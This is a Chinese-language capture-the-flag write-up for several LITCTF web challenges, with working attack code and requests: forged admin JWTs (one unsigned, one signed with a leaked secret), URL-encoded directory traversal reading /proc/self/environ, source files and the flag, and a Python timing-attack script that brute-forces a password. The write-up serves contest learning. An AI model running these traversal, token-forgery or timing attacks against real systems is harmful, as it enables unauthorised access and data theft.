本文最后更新于 2024年12月18日 上午
                  
                
              
            
            
              
                
                anti-inspect
Curl访问得到
| 12
 3
 4
 5
 6
 7
 
 | const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";while (true)
 console.log(
 flag,
 "background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
 );
 
 
 | 
LITCTF{your_fOund_teh_fI@g_94932}
jwt-1
没key的jwt
抓登录的包

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | GET /flag HTTP/1.1Host: litctf.org:31781
 Cache-Control: max-age=0
 Upgrade-Insecure-Requests: 1
 Origin: http://litctf.org:31781
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Referer: http://litctf.org:31781/login/
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0MTk4MTkiLCJhZG1pbiI6dHJ1ZX0.orvLsIOWCHK7lreLD-3EQXyjnppymPnpAp16bw-okV4
 Connection: close
 
 | 
LITCTF{o0ps_forg0r_To_v3rify_1re4DV9}
jwt-2
js生成的jwt
附件直接给了key
const jwtSecret = "xook";
复用附件源码来生成jwt
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | const crypto = require('crypto');
 
 const jwtSecret = "xook";
 
 
 const jwtHeader = Buffer.from(
 JSON.stringify({ alg: "HS256", typ: "JWT" }),
 "utf-8"
 ).toString("base64").replace(/=/g, "");
 
 
 const sign = (payload) => {
 const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
 .toString("base64")
 .replace(/=/g, "");
 const signature = crypto.createHmac('sha256', jwtSecret)
 .update(jwtHeader + '.' + jwtPayload)
 .digest('base64')
 .replace(/=/g, '');
 return jwtHeader + "." + jwtPayload + "." + signature;
 };
 
 
 const user = {
 name: "114514",
 admin: true
 };
 
 
 const token = sign(user);
 
 
 console.log("Generated JWT:", token);
 
 | 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTE0NTE0IiwiYWRtaW4iOnRydWV9.Fc+hyMRa6S2iv4pYtZTEhQ4guMBiKo8veEulUNbBI8U

traversed
dirsearch发现存在目录遍历
| 1
 | curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ --output -
 | 
得到
| 1
 | NODE_VERSION=16.20.2HOSTNAME=faddb7f3a9c2YARN_VERSION=1.22.19BUN_INSTALL=/root/.bunHOME=/rootPATH=/root/.bun/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPWD=/app
 | 
查看cmdline
| 1
 | curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cmdline --output -
 | 
发现源码文件是index.ts
结合environ得到网站目录是/app
| 1
 | curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/index.ts --output -
 | 
得到源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | import http from "http";import fs from "node:fs/promises";
 import path from "node:path";
 import url from "node:url";
 
 const server = http.createServer(async (req, res) => {
 
 const rawPath = decodeURIComponent(req.url!);
 
 
 const absPath = path.join(__dirname, "site", rawPath);
 
 try {
 const file = await fs.readFile(absPath, "utf-8");
 res.writeHead(200, { "Content-Type": "text/plain" });
 res.end(file);
 } catch {
 try {
 const indexFile = await fs.readFile(path.join(absPath, "index.html"), "utf-8");
 res.writeHead(200, { "Content-Type": "text/html" });
 res.end(indexFile);
 } catch {
 res.writeHead(404, { "Content-Type": "text/plain" });
 res.end("404 not found");
 }
 }
 });
 
 server.listen(process.env.PORT || 3000, () => {
 console.log("Server started");
 });
 
 | 
没提示flag在哪
猜测在网站目录
| 12
 
 | curl http://litctf.org:31778/.%2e/%2e%2e/%2e%2e/%2e%2e/app/flag.txt --output -LITCTF{backtr@ked_230fim0}
 
 | 
kirbytime
源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 
 | import sqlite3from flask import Flask, request, redirect, render_template
 import time
 app = Flask(__name__)
 
 @app.route('/', methods=['GET', 'POST'])
 def login():
 message = None
 if request.method == 'POST':
 password = request.form['password']
 real = 'REDACTED'
 if len(password) != 7:
 return render_template('login.html', message="you need 7 chars")
 for i in range(len(password)):
 if password[i] != real[i]:
 message = "incorrect"
 return render_template('login.html', message=message)
 else:
 time.sleep(1)
 if password == real:
 message = "yayy! hi kirby"
 
 return render_template('login.html', message=message)
 
 if __name__ == '__main__':
 app.run(host='0.0.0.0')
 
 | 
if password[i] != real[i]逐个判断,如果正确会延时1s,利用这个特性来一个个爆出来正确密码
密码是固定的
靶机只有10分钟,多跑几遍
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 
 | import requestsimport string
 import time
 
 url = 'http://34.31.154.223:56812/'
 charset = string.ascii_letters + string.digits
 password_length = 7
 
 found_password = "kBySlaY"
 i = 6
 
 while 1:
 for char in charset:
 attempt_password = found_password + char + "-" * (password_length - len(found_password) - 1)
 
 start_time = time.time()
 response = requests.post(url, data={'password': attempt_password})
 elapsed_time = time.time() - start_time
 
 print(f"尝试密码: {attempt_password},响应时间: {elapsed_time:.4f}秒")
 
 
 if (elapsed_time > (i + 1) and elapsed_time < (i+2) ) :
 found_password += char
 print(f"找到了第 {i + 1} 位密码字符: {char} 响应时间: {elapsed_time:.4f}秒")
 i +=1
 time.sleep(3)
 break
 else:
 continue
 
 
 print(f"最终找到的密码是: {found_password}")
 
 
 |